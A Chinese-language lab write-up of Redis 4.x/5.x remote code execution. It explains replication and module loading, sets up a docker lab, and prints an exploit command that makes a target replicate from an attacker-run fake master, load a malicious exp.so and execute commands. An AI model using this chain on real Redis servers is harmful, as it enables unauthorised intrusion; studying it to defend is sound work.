Redis 4.x/5.x RCE浅析

0x00前言

在2019年7月7日结束的WCTF2019 Final上,LCBC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式,这种利用方式更为通用,危害也更大,因此来学习学习

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

0x01安装

vulhub上面下载redis的docker镜像,启动两个redis的docker镜像

使用命令docker inspect -f '{{.NetworkSettings.IPAddress}}' 4c4ea2dd4496查看两个docker的内部IP以便进行容器间的连接

 

0x02主从复制

因为Redis是一个使用ANSI C编写的基于内存的非关系型数据库,在数据存储上,运行时将数据存储在内存中以实现数据的高效读写,并且根据顶定制的持久化的规则不同,其会不定期将数据持久化在硬盘当中。将数据完全存储在单个redis中主要存在两个问题:数据备份和数据体量较大造成的性能降低,因此主从模式便出现来解决了这个问题。主从模式指的是使用一个redis实例作为主机,其余的实例作为备份机。主机和从机的数据完全一致,主机支持数据的写入和读取等各项操作,客户端可以将数据写入到主机,由主机自动将数据的写入操作同步到从机。主从模式很好的解决了数据备份问题,并且由于主从服务数据几乎是一致的,因而可以将写入数据的命令发送给主机执行,而读取数据的命令发送给不同的从机执行,从而达到读写分离的目的。

我们通过输入slaveof命令将当前服务器转变为指定服务器的从属服务器

之后可以输入命令slaveof no one来取消Redis的主从设置,使用info replication查看redis的主从状态

0x03Redis Module

在Redis4.X之后,Redis新增加了模块,通过对外部进行拓展,提供了一个插件化的模块, 暴露了必要的 API,并且有自动内存管理(大大减轻编写负担),基于 C99(C++ 或者其它语言的 C 绑定接口当然也可以)。Module 可以动态的载入和卸载,可以实现底层的数据结构也可以调用高层的指令,这一切都只需要包含头文件 redismodule.h 。需要将写好的C编译成.so文件,然后使用命令加载

MODULE LOAD /path/to/mymodule.so   # 在 redis-cli 中执行,注意这里 mymodule.so 是文件名

具体的介绍可以阅读如下文章https://zhuanlan.zhihu.com/p/44685035

0x04Redis漏洞原理

在之前我们通过向redis写入crontab命令进行getshell,但是在后期的redis里面save的路径被做了限制,我们只能向指定的位置进行写入,像/etc/,/var/www/html里面的目录都不能进行写入。在Redis4.X之后,通过对外部进行拓展,可以实现在redis中实现一个新的Redis命令,通过C语言并且编译出.so文件,在Redis的通信中并知识明文的表达方式,中间参杂了许多的混杂的内容,例如输入命令

get christa

其抓到的内容为

该传输格式借用成员Pavel Toporkov的图来看可以分为三大块

*<number> : 参数的个数

$<number>:参数的长度

<parameter>:参数

因此,其返回的包也是一个道理

因为Redis主要是基于TCP进行连接,因此我们可以借助主从模式的特性发送一个基于从模式的命令流,向攻击机发送一个命令流slave的命令流,然后攻击机伪造成一个主从的机器向目标机器发送Redis的特定的数据流将恶意文件exp.so保存到当地文件文件上面,在通过module加载该so文件,之后取消主从模式,将当前的命令模块保存到本地并以.rdb后缀命名,最终使用命令system.exec <command>执行命令,图示步骤为

 

0x05漏洞利用

通过Redis模块的编写,网上的exp为https://github.com/vulhub/redis-rogue-getshell输入命令

 python3 redis-master.py -r 172.17.0.3 -p 6379 -L 172.17.0.1 -P 4668 -f RedisModule       sSDK/exp/exp.so -c "whoami"   

其中 -L为当前攻击机的IP,-P为任意攻击机的空闲端口

成功执行命令!

Reference